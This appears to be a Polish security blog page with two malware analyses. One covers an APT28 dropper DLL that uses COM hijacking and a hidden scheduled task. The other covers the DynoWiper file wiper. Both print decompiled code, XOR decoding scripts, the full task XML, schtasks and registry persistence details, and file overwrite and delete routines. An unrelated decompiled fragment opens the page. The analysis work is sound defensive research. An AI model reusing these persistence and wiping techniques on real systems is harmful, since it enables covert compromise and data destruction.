       && (iVar2 = *(int *)(lVar6 + 0x8c + (longlong)param_1), iVar2 != 0)) {
      uVar3 = *(uint *)(lVar6 + 0x88 + (longlong)param_1);
      uVar12 = (ulonglong)uVar3;
      uVar9 = 0;
      uVar4 = *(uint *)((longlong)param_1 + uVar12 + 0x18);
      if (uVar4 != 0) {
        do {
          iVar5 = 0x1505;
          pbVar7 = (byte *)((ulonglong)
                            *(uint *)((longlong)param_1 +
                                     uVar9 * 4 +
                                     (ulonglong)*(uint *)((longlong)param_1 + uVar12 + 0x20)) +
                           (longlong)param_1);
          bVar1 = *pbVar7;
          while (bVar1 != 0) {
            pbVar7 = pbVar7 + 1;
            iVar5 = iVar5 * 0x21 + (uint)bVar1;
            bVar1 = *pbVar7;
          }
          if (iVar5 == *piVar10) {
            uVar4 = *(uint *)((longlong)param_1 +
                             (ulonglong)
                             *(ushort *)
                              ((longlong)param_1 +
                              uVar9 * 2 + (ulonglong)*(uint *)((longlong)param_1 + uVar12 + 0x24)) *
                             4 + (ulonglong)*(uint *)((longlong)param_1 + uVar12 + 0x1c));
            if ((uVar4 < uVar3) || (uVar3 + iVar2 <= uVar4)) {
              lVar6 = (longlong)param_1 + (ulonglong)uVar4;
              goto LAB_18000a011;
            }
            break;
          }
          uVar8 = (int)uVar9 + 1;
          uVar9 = (ulonglong)uVar8;
        } while (uVar8 < uVar4);
      }
    }
    lVar6 = 0;
LAB_18000a011:
    *(longlong *)(piVar10 + 2) = lVar6;
    piVar10 = piVar10 + 0xc;
  } while( true );
}


czwartek, 5 lutego 2026

Kampania APT28: Analiza techniczna droppera (część 1)

Pod koniec stycznia 2026 r. zidentyfikowano nową kampanię grupy APT28 (Fancy Bear), wykorzystującą podatność w pakiecie Microsoft Office (CVE-2026-21509). W tej części artykułu skupimy się na analizie pierwszego etapu infekcji: droppera w formie biblioteki DLL, który odpowiada za “instalację” głównego pliku ze złośliwym oprogramowaniem na systemie ofiary.

Analizowana biblioteka realizuje 3 główne cele:
  • zapobiega wielokrotnemu uruchomieniu,
  • instaluje kolejne komponenty złośliwego kodu na dysku ofiary,
  • zapewnia przetrwanie po restarcie poprzez technikę COM Hijacking.

Atak jako pierwszy wykrył i opisał zespół CERT-UA. Szczegóły można znaleźć tutaj: https://cert.gov.ua/article/6287250.

Celem ataku mogły być też organizacje w Polsce (taką informację podają niektóre media, ale nie jest to informacja zweryfikowana).

Nazwa: sd.dll
MD5: 744BBE8D7C3D0421FA0DEB582481F5BA
Rozmiar: 561 KB
Architektura: 64bit
Entry Point: 0x292C
Eksportowane funkcje: UIClassRegister oraz hXts

Analiza EP

Entry point prowadzi do funkcji, która z kolei wywołuje UIClassRegister(). Dla przypomnienia, nazwy funkcji w formacie FUN_<adres> są generowane automatycznie podczas dekompilacji kodu. 

 FUN_180001fbc(undefined8 param_1,int param_2)

{

  if ((param_2 == 1) && (DAT_18008c350 == '\0')) {

    UIClassRegister();

  }

  return 1;

}


Poza sprawdzeniem, czy biblioteka właśnie została załadowana do procesu, sprawdzana jest flaga związana z tym czy system jest już zainfekowany czy nie. Jeśli nie, wywoływana jest UIClassRegister(). Wprowadzenie tej flagi powoduje, że proces rejestracji wykona się tylko raz.

Funkcja UIClassRegister().

Zacznijmy od pierwszego fragmentu kodu rozpoczynającego się od pętli do..while:

    do {

    ppppCVar2 = &local_48;

    if (0xf < local_30) {

      ppppCVar2 = (LPCSTR ***)local_48;

    }

    *(byte *)((longlong)ppppCVar2 + uVar4) = (&DAT_1800105e9)[uVar4] ^ 0x43;

    uVar4 = uVar4 + 1;

  } while (uVar4 < 0xe);

  ppppCVar2 = &local_48;

  if (0xf < local_30) {

    ppppCVar2 = (LPCSTR ***)local_48;

  }

  hMutex = CreateMutexA((LPSECURITY_ATTRIBUTES)0x0,1,(LPCSTR)ppppCVar2);


Malware dba o to, by w systemie działała tylko jedna instancja złośliwego kodu. Wykorzystuje do tego Mutex, którego nazwa jest dynamicznie odkodowywana przy użyciu operacji logicznej XOR 0x43.

0x18000202b 80 f1 43        XOR        CL,0x43

Pierwszy bajt jest w tablicy pod adresem 0x1800105e9. XOR w pętli wykonywany jest 0xe czy 14 razy. 
Możemy te dane odkodować za pomocą skrypty następującej komendy python. Poniżej zawartość:

DANE_BINARNE = "20 7a 70 71 25 7b 2b 24 7b 7b 27 25 71 2c 43"

wynik = "".join(chr(int(b, 16) ^ 0x43) for b in DANE_BINARNE.split())

print(f"Wynik: {wynik}")


Odkodowana wartość: c932f8hg88df2o

Następnie wywoływana jest kolejna funkcja (z adresu 0x180001d4c), która odkodowuje kolejny ciąg znaków. Jako parametr przekazywany jest adres tablicy &DAT_1800103f0. Po odkodowaniu jest to ścieżka z nazwą pliku:

%programdata%\USOPublic\Data\User\EhStoreShell.dll

Następnie za pomocą funkcji ExpandEnvironmentStringsW() (wywołane przez funkcje FUN_1800018b8) i GetFileAttributesW() sprawdzane jest czy plik istnieje.

 

lpFileName = FUN_1800018b8(pWVar3);

DVar1 = GetFileAttributesW(lpFileName);

 
Jeśli istnieje - ustawiana jest flaga na 1. 

    if (DVar1 != 0xffffffff) {

       DAT_18008c350 = '\x01'

Jeśli nie, wywoływana jest funkcja instalująca złośliwe oprogramowanie na komputerze.

    if (DAT_18008c350 == '\0') {

      FUN_180001918_main();

Funkcja zaczynająca się pod adresem 0x180001918 zawiera kluczową logikę dla tej biblioteki.

Po pierwsze 3 razy jest wywoływana funkcja FUN_18000159c(). Jako parametry przyjmuje 3 wartości - drugi to adres do tablicy (danych w sekcji .data) a trzeci to rozmiar. Pierwszy parametr to wynik wywołania innej funkcji, która podobnie jak opisywana wcześniej inna funkcja, dekoduje (instrukcja XOR) ścieżkę i nazwę pliku. Poniżej wywołanie tej funkcji: 

pWVar1 = (LPCWSTR)FUN_180001ce0_decode_name(&DAT_180010370,local_78);

Wynik to: %programdata%\Microsoft OneDrive\setup\Cache\SplashScreen.png 

Analizują zawartość funkcji FUN_18000159c() możemy zauważyć, że: 

  • pobierany i odkodowywany jest jakiś ciąg znaków. Dzieje się to w tej pętli powtarzanej 72 razy.

  do {

    ppppuVar4 = &local_68;

    if (0xf < local_50) {

      ppppuVar4 = (undefined8 ****)local_68;

    }

    *(byte *)((longlong)ppppuVar4 + uVar7) = (&DAT_180010601)[uVar7] ^ 0x43;

    uVar1 = local_58;

    uVar7 = uVar7 + 1;

  } while (uVar7 < 0x48);

  • wykonywana jest druga pętla, ale tym razem licznik to uwaga - wielkość pliku (np. 235 059). Podczas ekstrakcji plików, malware wykonuje operację XOR aż 17 milionów razy dla jednego pliku (Możliwe, że jeszcze istnieją jakieś systemy automatycznej analizy malware mające limit czasu na analizę. Może taka liczba operacji powoduje, że emulator przerwie analizę przed dotarciem do momentu zrzucenia właściwego payloadu na dysk).

 Wspominałem, że 3 razy wywoływana jest funkcja “wyciągająca” pliki z analizowanej dll. Są to: 

  • Plik numer 1: Dane spod tablicy DAT_180051200, rozmiar 0x39633
  • Plik numer 2: Dane spod tablicy DAT_18001b000, rozmiar 0x36200
  • Plik numer 3: Dane spod tablicy DAT_18008a840, rozmiar 0xde4

Napisaliśmy skrypt, który robi opisane zadanie, ale bez zbędnego powielania tych samych operacji. Można go pobrać z tego miejsca https://github.com/Prevenity/malware_scripts.

Parametry jakie musimy podać: <plik źródłowy> <plik docelowy> <offset w pliku źródłowym do zakodowanego pliku docelowego> <rozmiar pliku docelowego> <offset w pliku źródłowym do zakodowanego ciągu znaków> <klucz XOR>.

Poniżej wywołanie skryptu, który na podstawie w/w informacji "wyciąga" z analizowanej DLL pierwszy plik o nazwie SplashScreen.png

python extract.py sd.dll SplashScreen.png 0x4f800 0x39633 0xfa01 0x43

Pierwszy plik jest w formacie PNG:

 Jeszcze "rzut oka" na zawartość pliku. Jak się okaże w 2 części analizy, to nie jest zwykły plik graficzny.

Analizując funkcję FUN_180001918_main() można też zauważyć, że kilka razy za pomocą kopii funkcji wykonana jest ta sama operacja - związana z dekodowaniem ciągu znaków. Możliwe, że taka implementacja ma na celu utrudnienie analizy. Zazwyczaj, gdy już wiemy która funkcja odpowiada za dekodowanie, podczas analizy dynamicznej ustawiamy breakpoint na wyjściu z funkcji aby podejrzeć odkodowaną wartość. Tutaj wymaga to lokalizacji wszystkich funkcji z taką funkcjonalnością.


Spójrzmy jeszcze raz na główną funkcję FUN_180001918_main() i to co do tej pory udało nam się ustalić. Czerwona ramka - odkodowanie ścieżki i nazwy pliku, oraz odkodowanie pliku numer 1. Żółta ramka - identyczna operacja dla pliku numer 2 i zielona ramka - plik numer 3.

 


Za pomocą wcześniej utworzonego skryptu odczytamy też plik numer 2 i plik numer 3.
Nazwę pliku numer 2 już odczytaliśmy wcześniej (ten moment gdy malware sprawdzał czy plik istnieje już w systemie plików). Więc wiemy, że jest to EhStoreShell.dll. 
Wyliczamy jedynie offset na dysku dla DAT_18001b00, który wynosi: 0x19600. Podajemy też wielkość pliku która wynosi 0x36200. Offset do ciągu odbudowującego plik i klucz XOR są oczywiście takie same.



Drugi plik to kolejna biblioteka DLL.

Odkodowana ścieżka i nazwa ostatniego pliku to: %temp%\Diagnostics\office.xml. Rozmiar 0xde4. Offset na dysku w pliku dll to: 0x88e40.

$ file office.xml 
office.xml: XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
$ md5sum office.xml 
ee0b44346db028a621d1dec99f429823 office.xml


Jego zawartość jest poniżej.

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2023-01-15T21:26:01.189134</Date>
<URI>\OneDriveHealth</URI>
</RegistrationInfo>
<Triggers>
<RegistrationTrigger>
<Enabled>true</Enabled>
<Delay>PT1M</Delay>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>%windir%\system32\cmd.exe</Command>
<Arguments>/c (taskkill /f /IM explorer.exe >nul 2>&amp;1) &amp; (start explorer >nu
l 2>&amp;1) &amp; (schtasks /delete /f /tn OneDriveHealth)</Arguments>
</Exec>
</Actions>

</Task>

Możemy zauważyć, że malware podszywa się pod usługę OneDriveHealth. Będzie ona uruchomiona z harmonogramu zadań systemu Windows. Zadanie, uruchomione po 1 minucie od zarejestrowania. W sekcji actions jest komenda, która “restartuje” proces explorer.exe i kasuje zadanie. Oznacza to, że jest to jednorazowa akcja.

Argumenty dla cmd.exe to: /c (taskkill /f /IM explorer.exe) & (start explorer) & (schtasks /delete /f /tn OneDriveHealth)


Persystencja i COM Hijacking

Spróbujmy przeanalizować dalszą część głównej funkcji FUN_180001918_main().

Zaraz po zapisaniu na dysku 3 plików, ponownie wywoływane są funkcje odkodowujące ciągi znaków.

pauVar2 = (undefined1 (*) [32])FUN_180001d4c_decode_xor(&DAT_1800103f0,local_58)
zwraca:%programdata%\USOPublic\Data\User\EhStoreShell.dll

pWVar1 = (LPCWSTR)FUN_180001c70_decode_xor(&DAT_1800104a0,local_78);
zwraca: Software\Classes\CLSID\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\InProcServer32

Następnie pierwszy raz wywoływana jest funkcja FUN_1800014f8_reg(pWVar1,L"",pauVar2,2). 

Ta funkcja odpowiada za utworzenie klucza w rejestrze.

Ponownie odkodowywane są kolejne ciągi znaków: 

pauVar2 = (undefined1 (*) [32])FUN_180001efc_decode_xor(&DAT_180010568,local_38);
zwraca string: Apartment

pWVar3 = (LPCWSTR)FUN_180001c70_decode_xor(&DAT_1800104a0,local_58);
zwraca string: Software\Classes\CLSID\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\InProcServer32

pWVar1 = (LPCWSTR)FUN_180001e90_decode_xor(&DAT_180010540,local_78);
zwraca string: ThreadingModel 

Następnie wywoływana jest ponownie funkcja FUN_1800014f8_reg(pWVar3,pWVar1,pauVar2,1);.

Te nazwy oraz wpisy do rejestrów wykonane przez malware wskazują, że wykorzystana jest technika COM Hijacking. Zamiast modyfikować standardowe klucze autostartu (jak RUN), malware rejestruje złośliwą bibliotekę EhStoreShell.dll jako serwer InProc dla istniejącego w systemie obiektu CLSID.

Pełna ścieżka rejestru: HKCU\Software\Classes\CLSID\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\InProcServer32

Dzięki temu, gdy aplikacja systemowa (explorer.exe) będzie chciała odwołać się do tego obiektu (Windows Storage Shell Extension), nieświadomie załaduje złośliwy kod. Aby wymusić przeładowanie, malware tworzy zadanie w harmonogramie (schtasks), które jednorazowo restartuje proces explorer.exe (ale to tym za chwile).

Następnie wywoływane są kolejne funkcje dekodujące ciągi znaków.

Przykład:

FUN_180001db8_decode_xor((byte *)L"C0 +7\"0(0m&;&cl",(longlong *)local_98);

Postać jawna tego ciągu znaków to: schtasks.exe. Inne dekodowane w podobny sposób ciągi znaków:

  • %temp%\Diagnostics\office.xml
  • /Create /XML

Możemy też zauważyć wkompilowane funkcje strlen czy memcpy. Są one używane do złożenia w całość ciągu który będzie użyty przez jedną z ostatnich funkcji.

Jest to funkcja FUN_180001810_add_task(lpString1), która uruchamia poniższą komendę ze złożonych wcześniej odkodowanych stringów.

"schtasks.exe /Create /tn \"OneDriveHealth\" /XML \"C:\\Users\\Jack\\AppData\\Local\\Temp\\Diagnostics\\office.xml\""

Poniżej widok z debuggera momentu wywołania CreateProcessW().

 


Pełna zawartość tej funkcji umieszczona jest poniżej:

FUN_180001810_add_task(LPWSTR param_1)

{

  BOOL BVar1;

  BOOL BVar2;

  undefined4 extraout_var;

  _PROCESS_INFORMATION local_98;

  _STARTUPINFOW local_78;

  

  local_78.cb = 0x68;

  FUN_18000f770_memset((undefined1 (*) [32])&local_78.lpReserved,0,0x60);

  local_98.dwProcessId = 0;

  local_98.dwThreadId = 0;

  local_98.hProcess = (HANDLE)0x0;

  local_98.hThread = (HANDLE)0x0;

  BVar1 = CreateProcessW((LPCWSTR)0x0,param_1,(LPSECURITY_ATTRIBUTES)0x0,(LPSECURITY_ATTRIBUTES)0x0,

                         0,0x8000000,(LPVOID)0x0,(LPCWSTR)0x0,&local_78,&local_98);

  WaitForSingleObject(local_98.hProcess,0xffffffff);

  CloseHandle(local_98.hProcess);

  BVar2 = CloseHandle(local_98.hThread);

  return CONCAT71((int7)(CONCAT44(extraout_var,BVar2) >> 8),BVar1 != 0);

}

 
Podsumowanie:

Pierwszy etap infekcji realizowany przez sd.dll to starannie wykonany dropper a wykorzystanie mechanizmu COM Hijacking pozwala na uruchomienie złośliwego kodu przy każdym starcie explorera. W kolejnym artykule zajmiemy się analizą dwóch pozostałych plików odkodowanych z tej biblioteki.

Źródła:
1. https://cert.gov.ua/article/6287250
2. https://www.zscaler.com/blogs/security-research/apt28-leverages-cve-2026-21509-operation-neusploit
3. https://github.com/Prevenity/malware_scripts


 

niedziela, 1 lutego 2026

Analiza techniczna wybranych funkcji malware DynoWiper

Poniżej zamieściliśmy kilka szczegółowych informacji dotyczących złośliwego oprogramowania DynoWiper (na podstawie jednej z próbek - source.exe). Plik ten został zidentyfikowany w incydentach wymierzonych w niektóre polskie spółki z sektora energetycznego pod koniec 2025 roku. W celu zaznajomienia się ze szczegółowym przebiegiem kampanii odsyłamy do raportu CERT Polska. Również na blogu firmy ESET pojawiły się informacje dotyczące między innymi analizowanej przez nas próbki. Nasza analiza została przeprowadzona metodą statyczną (między innymi dekompilacja z użyciem Ghidra) oraz dynamiczną, co pozwoliło na dokładne przyjrzenie się niektórym mechanizmom.

Plik #1 (source.exe)
MD5: C4379DA51E8B9E86EC3DE934F9373F4A
Architektura: 32 bit

Poniżej zrzut tablicy importu:

 

Widzimy, że jest importowania tylko jedna biblioteka - kernel32.dll. Po nazwach importowanych funkcji można wstępnie określić wykonywane aktywności przez malware. Dla przykładu funkcja LoadLibraryExW() służy do załadowania dodatkowej biblioteki w trakcie działania programu. Funkcja wywoływana jest 3 razy więc szybko można zlokalizować jeden z kluczowym fragmentów złośliwego kodu. Analizując funkcje zaczynającą się od FUN_0040976 możemy zobaczyć pobierany za pomocą GetProcAddress() adres innej funkcji. W tym przypadku to SystemFunction036(). 

Oto ten fragment:

 

  if (Ptr == (FARPROC)0x0) {

    hModule = LoadLibraryExW(L"ADVAPI32.DLL",(HANDLE)0x0,0x800);

    if ((hModule == (HMODULE)0x0) &&

       ((DVar2 = GetLastError(), DVar2 != 0x57 ||

        (hModule = LoadLibraryExW(L"ADVAPI32.DLL",(HANDLE)0x0,0), hModule == (HMODULE)0x0)))) {

      piVar1 = __errno();

      *piVar1 = 0x16;

      FUN_004120bb_call_Invalid_param_handler();

      return 0x16;

    }

    Ptr = GetProcAddress(hModule,"SystemFunction036");


W oficjalnej dokumentacji (https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtlgenrandom) funkcji RtlGenRandom na stronie Microsoft będzie taka informacja:

"This function does not have an import library. You must use the GetProcAddress function to dynamically link to Advapi32.dll. The name of the function in Advapi32.dll is SystemFunction036."

RtlGenRandom() jest pomocniczą funkcją dla innej funkcji (znajdziemy ją pod adresem 0x401f40), która służy do wygenerowania losowych danych (którymi jak się później okaże będą nadpisywane pliki w systemie plików).

Poniżej jej fragment, gdzie widać pętlę wykonywaną 624 razy.

 

  uVar2 = FUN_00405ceb_call_RtlGenRandom();

  param_1[1] = uVar2;

  iVar3 = 1;

  puVar4 = param_1 + 2;

  do {

    uVar2 = (uVar2 >> 0x1e ^ uVar2) * 0x6c078965 + iVar3;

    iVar3 = iVar3 + 1;

    *puVar4 = uVar2;

    puVar4 = puVar4 + 1;

  } while (iVar3 < 0x270);

 

Stała 0x6c078965 (1812433253) to standardowa wartość używana w algorytmie MT19937 (Mersenne Twister). Źródło: https://en.wikipedia.org/wiki/Mersenne_Twister

Zastosowanie algorytmu MT19937 zamiast standardowych funkcji kryptograficznych API Windows świadczy o optymalizacji kodu pod kątem szybkości, co jest kluczowe przy tego typu atakach (szybkim “zniszczeniu” systemu plików).

Cofnijmy się jeszcze to entry point w pliku z malware.

W Optional Header mamy adres punktu wejścia do aplikacji. Jest to 0x81F6 co widać poniżej:

 


Po wczytaniu pliku do CodeBrowser i użyciu mechanizmu automatycznej analizy możemy wyświetlić zawartość funkcji entry. Możemy zauważyć, że w pliku znajduje się odwołanie do pliku PDB Source.pdb. Zawartość odczytujemy z sekcji Debug Data.

 

 

Jest to możliwe, gdyż wewnątrz nagłówka PE jest sekcja IMAGE_DEBUG_DIRECTORY. Jak widać zawiera ona ścieżkę, pod którą znajdował się plik .pbd na komputerze atakującego. Mamy też nazwę użytkownika pod jaką pracował atakujący. GUID to unikalny ID przypisany do konkretnej kompilacji (tego samego build) i wynosi on 9ba97ad6-2a69-4035-860a-67cd1ed799e5.

 

Analizując samą funkcję entry widać, że głównie są wywoływane funkcje przygotowujące środowisko systemowe ale jedna z ostatni funkcji prowadzi nas do głównej funkcji programu (0x403020).


Poniżej zawartość głównej funkcji 0x403020. Zmienna local_13b0 to duza struktura (5028 bajtów) tworzona na stosie, która jest buforem gdzie mamy również dane, którymi będą nadpisywane pliki. Operowanie na stosie ma dwie zalety: jest szybkie i nie wymaga użycia zewnętrznych funkcji - np. malloc().

 

void FUN_00403020_main(void)


{

  uint local_13b0 [1257];

  uint local_c;

  

  local_c = DAT_004275c0 ^ (uint)local_13b0;

  FUN_00403a30_Init_MersenneTwister(local_13b0);

  FUN_00401f40_Init_Crypto_MT(local_13b0);

  FUN_00402e40_selected_wipe_by_overwrite();

  Sleep(5000);

  FUN_00402f30_total_wipe_by_delete();

  FUN_00407600_security_check_cookie(local_c ^ (uint)local_13b0);

  return;

}

 

Dwie główne funkcje odpowiadające za “niszczenie” plików są pod adresami 0x402e40 oraz 0x402f30. Pierwsza funkcja nadpisuje wybranie pliki z pominięciem istotnych dla systemu katalogów (ich listę można znaleźć w raporcie CERT). Druga funkcja (0x402f30) próbuje skasować wszystkie plik (do których ma uprawnienia)

Te funkcje są dość dobrze opisane we wspomnianym raporcie. Tutaj skupimy się na kilku elementach. Pierwsza funkcja wykorzystuje wygenerowane losowe dane o długości 16 bajtów, którymi następnie nadpisuje pliki. Poniżej przykład 16 bajtowej losowej wartości (dolna część ze screenshot od wartości 0x3C do 0xF7).

 

Pliki nadpisywane są w wielu miejscach tą wartością co widać poniżej na przykładzie pliku:

i dalej:

Poniżej fragment wywoływanej funkcji która odpowiada za kasowanie plików (druga wspomniana funkcja - FUN_00402f30):

 

          if (((byte)local_2c8.dwFileAttributes & 0x10) != 0) {

            pppppWVar5 = local_30;

            if (7 < local_1c) {

              pppppWVar5 = (LPCWSTR ****)local_30[0];

            }

            SetFileAttributesW((LPCWSTR)pppppWVar5,0x80);

            FUN_00402290_recursive_delete((LPCSTR)local_60); //rekurencja.

          }

          pppppWVar5 = local_30;

          if (7 < local_1c) {

            pppppWVar5 = (LPCWSTR ****)local_30[0];

          }

          DeleteFileW((LPCWSTR)pppppWVar5);


Można zauważyć, że funkcja sprawdza każdy znaleziony obiekt (plik lub katalog) za pomocą maski z fragmentu if (((byte)local_2c8.dwFileAttributes & 0x10) != 0. Jeśli to katalog to ustawiany jest domyślny zestaw atrybutów. To wykonuje funkcja SetFileAttributesW() z atrybutem 0x80 - FILE_ATTRIBUTE_NORMAL. Malware używa tego wywołania, aby zdjąć z folderów atrybuty takie jak "Tylko do odczytu" (Read-only) czy "Ukryty" (Hidden). Następnie wywołuje siebie (funkcja FUN_00402290) jeszcze raz aby skasować np. wszystkie pliki w tym katalogu (chyba że w katalogu jest podkatalog więc wykonuje jeszcze raz co powyżej aż do “przejścia” wszystkich podkatalogów). Bez zdjęcia atrybutu READONLY nie byłoby możliwe skasowanie pliku. 

Tutaj jest też niewielki błąd, który popełnił atakujący. Za pomocą DeleteFileW() nie da się skasować katalogu. Niemniej zawartość katalogu będzie usunięta, więc można przyjąć, że cel i tak jest osiągnięty.

Należy pamiętać, że w systemie Windows nawet zdjęcie atrybutu nie pozwoli na usunięcie niektórych plików gdyż działa kilka mechanizmów ochronnych. Dla większej skuteczności, program powinien być też uruchomiony z wysokimi uprawnieniami.

Analiza głównych funkcji próbki wskazują, że narzędzie działa szybko i “niszczy” system plików skutecznie.

 

Źródła:

 

[1] https://cert.pl/uploads/docs/CERT_Polska_Raport_Incydent_Sektor_Energii_2025.pdf

[2] https://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/